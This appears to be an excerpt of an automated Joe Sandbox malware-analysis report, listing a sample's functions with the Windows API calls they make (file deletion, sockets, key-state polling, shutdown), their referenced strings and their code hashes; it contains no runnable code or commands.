API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: d2932478822d6cf8368c376b04bf61354339a6436dc2c20ea892730455b54822
Instruction ID: eaaf54c5a1a0b32345324a0069718ba422bd4b7c65815468894dc70dee229a72
Opcode Fuzzy Hash: d2932478822d6cf8368c376b04bf61354339a6436dc2c20ea892730455b54822
Instruction Fuzzy Hash: 67415772A08A8286EB149B1AE49837C7760FF9DB89F058434DB4E877B2DF7CE0518704

Function 00007FF6BB19B7C0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 171fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BB1256D4: GetFullPathNameW.KERNEL32(?,00007FF6BB1256C1,?,00007FF6BB127A0C,?,?,?,00007FF6BB12109E), ref: 00007FF6BB1256FF

Part of subcall function 00007FF6BB19CED4: GetFileAttributesW.KERNEL32 ref: 00007FF6BB19CED8

FindFirstFileW.KERNEL32 ref: 00007FF6BB19B8AC
DeleteFileW.KERNEL32 ref: 00007FF6BB19B987
MoveFileW.KERNEL32 ref: 00007FF6BB19B9A7
DeleteFileW.KERNEL32 ref: 00007FF6BB19B9CA
FindNextFileW.KERNEL32 ref: 00007FF6BB19B9FC
FindClose.KERNEL32 ref: 00007FF6BB19BA15

Part of subcall function 00007FF6BB19BA80: CopyFileExW.KERNEL32 ref: 00007FF6BB19BAA7

Strings

\*.*, xrefs: 00007FF6BB19B849, 00007FF6BB19B867

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: File$Find$Delete$AttributesCloseCopyFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 4047182710-1173974218
Opcode ID: 8afc811527fb99e201d68577d1b03bd085c91ade47ff6067ade4f5a0ec4c1327
Instruction ID: bafdd68eff8969db61316b522b4a248ee0f7e42cb54ebd482e7d060d8a1c0950
Opcode Fuzzy Hash: 8afc811527fb99e201d68577d1b03bd085c91ade47ff6067ade4f5a0ec4c1327
Instruction Fuzzy Hash: 66818B22A1868295FB10DB68E4411FE6B60FF8979CF905032EB8E875BADF7CD546C700

Function 00007FF6BB1B3940 Relevance: 12.1, APIs: 8, Instructions: 116networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32 ref: 00007FF6BB1B39DA
WSAGetLastError.WSOCK32 ref: 00007FF6BB1B39EC
bind.WSOCK32 ref: 00007FF6BB1B3A3A
WSAGetLastError.WSOCK32 ref: 00007FF6BB1B3A44
closesocket.WSOCK32 ref: 00007FF6BB1B3A70
listen.WSOCK32 ref: 00007FF6BB1B3A7E
WSAGetLastError.WSOCK32 ref: 00007FF6BB1B3A94
closesocket.WSOCK32 ref: 00007FF6BB1B3AC0

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: ErrorLast$closesocket$bindlistensocket
String ID:
API String ID: 540024437-0
Opcode ID: f24216cf85a9cfc84ec9f45b81836fed2d974ebfd3edccbe64e1b0b478a4ea6b
Instruction ID: 01cb6afdc02ce9b047b24d9238a1e4102f6e0f93f644688b7e9f08df367b378a
Opcode Fuzzy Hash: f24216cf85a9cfc84ec9f45b81836fed2d974ebfd3edccbe64e1b0b478a4ea6b
Instruction Fuzzy Hash: D8419062A0868286EB20DF2EE4502797760FF89FA8F154630DB5E877A2DF3CE1518704

Function 00007FF6BB1B8360 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 331COMMON

Download Yara Rule

Strings

NULL Pointer assignment, xrefs: 00007FF6BB1B8831
Not an Object type, xrefs: 00007FF6BB1B83EA

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: dd79965d0ba62ff07d44b0d9f29dc193ba1526b0ffc83c6dd9deb206d130f64b
Instruction ID: c922ff5035e27b61bcb0b1f11690ffdb03969949ee1bd13a3b733e16773b7dec
Opcode Fuzzy Hash: dd79965d0ba62ff07d44b0d9f29dc193ba1526b0ffc83c6dd9deb206d130f64b
Instruction Fuzzy Hash: 13E16F36A18B8296EB20DF69E4402AD77A4FB8CB9CF504136DB4D97BA4DF38E545C700

Function 00007FF6BB19BC70 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 86fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BB1256D4: GetFullPathNameW.KERNEL32(?,00007FF6BB1256C1,?,00007FF6BB127A0C,?,?,?,00007FF6BB12109E), ref: 00007FF6BB1256FF

Part of subcall function 00007FF6BB19CED4: GetFileAttributesW.KERNEL32 ref: 00007FF6BB19CED8

FindFirstFileW.KERNEL32 ref: 00007FF6BB19BD09
DeleteFileW.KERNEL32 ref: 00007FF6BB19BD5B
FindNextFileW.KERNEL32 ref: 00007FF6BB19BD6D
FindClose.KERNEL32 ref: 00007FF6BB19BD7F
FindClose.KERNEL32 ref: 00007FF6BB19BD8A

Strings

\*.*, xrefs: 00007FF6BB19BCD3

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: eac801da271dad5c3dedbffc09f324b1d2ee4d57e9dbd9d9ebf402661b424a02
Instruction ID: c6a5a1f90962acc23c80d6ed262be2bb27bb94156a9cc857cc49b90107ab6b91
Opcode Fuzzy Hash: eac801da271dad5c3dedbffc09f324b1d2ee4d57e9dbd9d9ebf402661b424a02
Instruction Fuzzy Hash: C5416822A28A8292EB50DB18E4415FD6360FF98B98F905131EB9EC76B5DF7CD506C740

Function 00007FF6BB15AF58 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF6BB15AFD1
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6BB15AFE9
RtlVirtualUnwind.KERNEL32 ref: 00007FF6BB15B024
IsDebuggerPresent.KERNEL32 ref: 00007FF6BB15B05D
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6BB15B067
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6BB15B072

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: a012b73838b214995184a74d390d22d5d4f2798e6d2ee27280782cebe5dad480
Instruction ID: 2ea2e91c0bbd75f899e000b4963cfb937e890d9c5437c848b9b746c007de0404
Opcode Fuzzy Hash: a012b73838b214995184a74d390d22d5d4f2798e6d2ee27280782cebe5dad480
Instruction Fuzzy Hash: C1315336618B8186EB60CF29E8402AE77A4FB88758F540136EB9D83BA5DF3CD545CB00

Function 00007FF6BB18D2C4 Relevance: 9.1, APIs: 6, Instructions: 77processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6BB18D2AB), ref: 00007FF6BB18D31F
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,00007FF6BB18D2AB), ref: 00007FF6BB18D335
CreateEnvironmentBlock.USERENV(?,?,?,?,?,?,?,?,?,?,?,00007FF6BB18D2AB), ref: 00007FF6BB18D34E
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6BB18D2AB), ref: 00007FF6BB18D35E
CreateProcessWithLogonW.ADVAPI32 ref: 00007FF6BB18D3CA
DestroyEnvironmentBlock.USERENV ref: 00007FF6BB18D3E3

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: e80dfedd3eaf6b84f7bd14bc2d1553c684f5a5893d6eff82682e3bb03b713a55
Instruction ID: b8e3b6316ecec57378f04a6cd00acdf4f75d42f953b3419b9faa73e1f9c758a1
Opcode Fuzzy Hash: e80dfedd3eaf6b84f7bd14bc2d1553c684f5a5893d6eff82682e3bb03b713a55
Instruction Fuzzy Hash: 6C318D32608B8586DB608F06F8807AAB7A4FB88B94F14413ADF8D83B24DF3DD545CB00

Function 00007FF6BB1B7E38 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 237COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BB18B748: CLSIDFromProgID.OLE32 ref: 00007FF6BB18B771
Part of subcall function 00007FF6BB18B748: ProgIDFromCLSID.OLE32 ref: 00007FF6BB18B790
Part of subcall function 00007FF6BB18B748: lstrcmpiW.KERNEL32 ref: 00007FF6BB18B7A2
Part of subcall function 00007FF6BB18B748: CoTaskMemFree.OLE32 ref: 00007FF6BB18B7B4

Part of subcall function 00007FF6BB18C034: WNetAddConnection2W.MPR ref: 00007FF6BB18C143
Part of subcall function 00007FF6BB18C034: RegConnectRegistryW.ADVAPI32 ref: 00007FF6BB18C164
Part of subcall function 00007FF6BB18C034: RegOpenKeyExW.ADVAPI32 ref: 00007FF6BB18C193
Part of subcall function 00007FF6BB18C034: RegQueryValueExW.ADVAPI32 ref: 00007FF6BB18C1CD

CoInitializeSecurity.OLE32 ref: 00007FF6BB1B7F26
CoCreateInstanceEx.OLE32 ref: 00007FF6BB1B80C6
CoTaskMemFree.OLE32 ref: 00007FF6BB1B80D2
CoSetProxyBlanket.OLE32 ref: 00007FF6BB1B812B

Strings

NULL Pointer assignment, xrefs: 00007FF6BB1B8148

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: FreeFromProgTask$BlanketConnectConnection2CreateInitializeInstanceOpenProxyQueryRegistrySecurityValuelstrcmpi
String ID: NULL Pointer assignment
API String ID: 1653399731-2785691316
Opcode ID: 069250944c4b5cae8d9ba027fcc4337deb9b93f0114834e2bf5349901f1538a4
Instruction ID: 16a1272c5b1b8f7ebee7e74cd7267ebc801b26debfba30afccdfdfb4593d5f1a
Opcode Fuzzy Hash: 069250944c4b5cae8d9ba027fcc4337deb9b93f0114834e2bf5349901f1538a4
Instruction Fuzzy Hash: E3B15976A04B418AEB10DF69D8801AD7BB1FB88798F500136EF4D97BA9DF38E545CB40

Function 00007FF6BB12BE70 Relevance: 8.6, Strings: 6, Instructions: 1141COMMON

Download Yara Rule

Strings

VUUU, xrefs: 00007FF6BB12C25F
VUUU, xrefs: 00007FF6BB12C210
ERCP, xrefs: 00007FF6BB12BF69
VUUU, xrefs: 00007FF6BB12C21F
VUUU, xrefs: 00007FF6BB16F6FD
PCRE, xrefs: 00007FF6BB16F4B1

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID:
String ID: ERCP$PCRE$VUUU$VUUU$VUUU$VUUU
API String ID: 0-2187161917
Opcode ID: 52bbb01250ada343afc02eebb5c988e0963da5400e9343603d667423943af628
Instruction ID: 7dda8b1b66a4b13565d6c5202b372113d3176b26b56f23d88817d66b82423b94
Opcode Fuzzy Hash: 52bbb01250ada343afc02eebb5c988e0963da5400e9343603d667423943af628
Instruction Fuzzy Hash: 9BB29072E086928AEB648F6D94406BD37A1FB5978CF104135EB4ED7BA8DF78E940C700

Function 00007FF6BB1B4074 Relevance: 7.6, APIs: 5, Instructions: 148networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BB1B5E00: inet_addr.WSOCK32(?,?,?,?,?,?,?,00007FF6BB1B37FB), ref: 00007FF6BB1B5E4D

socket.WSOCK32 ref: 00007FF6BB1B40FC
WSAGetLastError.WSOCK32 ref: 00007FF6BB1B412D

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: ErrorLastinet_addrsocket
String ID:
API String ID: 4170576061-0
Opcode ID: ea9322bb4ddc6559c8a09ac09f5cb3baf94142c17e0f244aa1b03abeb354fc5a
Instruction ID: 5ac1478b9ca3302120d5e35069ea3eabf857f0ef0928d9823ec035e0c8dd1b40
Opcode Fuzzy Hash: ea9322bb4ddc6559c8a09ac09f5cb3baf94142c17e0f244aa1b03abeb354fc5a
Instruction Fuzzy Hash: 2151D526B0865281EB24EB1AE4056B97790BB8EFE8F448531DF5E877A6DE3CD5008780

Function 00007FF6BB121CEC Relevance: 7.6, APIs: 5, Instructions: 124keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32 ref: 00007FF6BB121D1B
ScreenToClient.USER32 ref: 00007FF6BB121D3A
GetAsyncKeyState.USER32 ref: 00007FF6BB121D62
GetAsyncKeyState.USER32 ref: 00007FF6BB121D82

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: 66afa1c94deaf905156041cf676ffe3a2b02e9b0039980c06c23d4dff2918920
Instruction ID: 9e4811a579319b018e3eb4d247e69263adcdfcc626feede5f3848d9d99576982
Opcode Fuzzy Hash: 66afa1c94deaf905156041cf676ffe3a2b02e9b0039980c06c23d4dff2918920
Instruction Fuzzy Hash: 3A51BF32B196928BE758CF39D94456A77A5FB4A798F100231EF5AC37A5CF38E461C700

Function 00007FF6BB15793C Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 262COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF6BB157A8E

Strings

VUUU, xrefs: 00007FF6BB157B5B
!, xrefs: 00007FF6BB157A7A
fmod, xrefs: 00007FF6BB157A58

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: _handle_error
String ID: !$VUUU$fmod
API String ID: 1757819995-2579133210
Opcode ID: 891804033c6d9bcc01b81d75b861d81fbb0e9180f173dbd42278a229c0b4683c
Instruction ID: 7d7f32e7af4083837cd6794ec241b3468e9a93347cffcc84e856edfea7dd8098
Opcode Fuzzy Hash: 891804033c6d9bcc01b81d75b861d81fbb0e9180f173dbd42278a229c0b4683c
Instruction Fuzzy Hash: BBB1F721A1CFC545D6B38A3854123B6B259BFAE394F14D332EB5E76AB4DF2C95C28700

Function 00007FF6BB162D20 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 169COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BB162D60

Part of subcall function 00007FF6BB15B184: GetCurrentProcess.KERNEL32(00007FF6BB15B21D), ref: 00007FF6BB15B1B1

Strings

., xrefs: 00007FF6BB163198
., xrefs: 00007FF6BB1631A7
*, xrefs: 00007FF6BB162D87

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: CurrentProcess_invalid_parameter_noinfo
String ID: *$.$.
API String ID: 2518042432-2112782162
Opcode ID: 10686662bc6c287608bb1927b489f0d8a7225314f89d29ff6f04aab4d96db585
Instruction ID: bf4ca5b936e3f3c0a67752fbeca0787e5619a0197602661273413f8a64996085
Opcode Fuzzy Hash: 10686662bc6c287608bb1927b489f0d8a7225314f89d29ff6f04aab4d96db585
Instruction Fuzzy Hash: E151CE72F14A5585FB10CFAA98402BD67A4BB48BCCF548536DF0EA7BA8DF38D4468340

Function 00007FF6BB1584C0 Relevance: 7.1, APIs: 4, Instructions: 1071COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BB1588E5
_get_daylight.LIBCMT ref: 00007FF6BB1589C3
_get_daylight.LIBCMT ref: 00007FF6BB1589DC

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID:
API String ID: 1286766494-0
Opcode ID: 09e4e907ae870b3820667c0232f28915d6dd8b336669930dd8abe80671f645cd
Instruction ID: e11a5d2be741a62b8cbebafa66ffab6e92f758075a4b770459a3a2269e32ca2b
Opcode Fuzzy Hash: 09e4e907ae870b3820667c0232f28915d6dd8b336669930dd8abe80671f645cd
Instruction Fuzzy Hash: 4CA29072A19682CAEB258F2CD4901BD37A5FB49B8CF148135DB8D87BA8DF3DE5118704

Function 00007FF6BB19D750 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BB18D5CC: LookupPrivilegeValueW.ADVAPI32 ref: 00007FF6BB18D630
Part of subcall function 00007FF6BB18D5CC: AdjustTokenPrivileges.ADVAPI32 ref: 00007FF6BB18D66F
Part of subcall function 00007FF6BB18D5CC: GetLastError.KERNEL32 ref: 00007FF6BB18D682

ExitWindowsEx.USER32 ref: 00007FF6BB19D798
InitiateSystemShutdownExW.ADVAPI32 ref: 00007FF6BB19D7C0
SetSystemPowerState.KERNEL32 ref: 00007FF6BB19D7D2

Strings

SeShutdownPrivilege, xrefs: 00007FF6BB19D763

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: System$AdjustErrorExitInitiateLastLookupPowerPrivilegePrivilegesShutdownStateTokenValueWindows
String ID: SeShutdownPrivilege
API String ID: 2163645468-3733053543
Opcode ID: d91431930fad3db0e3d1089491ea6c9a4476952d79cc7edd8ba2b1494bd95168
Instruction ID: 2561a9f2433df493cd676c085abc911e507f21dfc339553b77e7dfaaf6694e74
Opcode Fuzzy Hash: d91431930fad3db0e3d1089491ea6c9a4476952d79cc7edd8ba2b1494bd95168
Instruction Fuzzy Hash: D4117333B1864282E764DB2DE84117E6262BF88758F494135E79DC3ABAEF3CD846C740

Function 00007FF6BB145BC0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF6BB145C21
IsDebuggerPresent.KERNEL32 ref: 00007FF6BB145C39
OutputDebugStringW.KERNEL32 ref: 00007FF6BB145C4A

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00007FF6BB145C43

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: DebugDebuggerErrorLastOutputPresentString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 389471666-631824599
Opcode ID: a6f712f19902253ba7949c04243615cc0ab49cc8bc5c14b6f720c4296af9f677
Instruction ID: 82a80434eb4902a6b3e09b4f8a2557dce7e76e48cf2a109b1f0b98d6053d28fb
Opcode Fuzzy Hash: a6f712f19902253ba7949c04243615cc0ab49cc8bc5c14b6f720c4296af9f677
Instruction Fuzzy Hash: 73113A32A14B5296FB049B2AE6553B933A4FB4838DF444135C74D82A60EF3CE0A4CB10

Function 00007FF6BB1932F4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

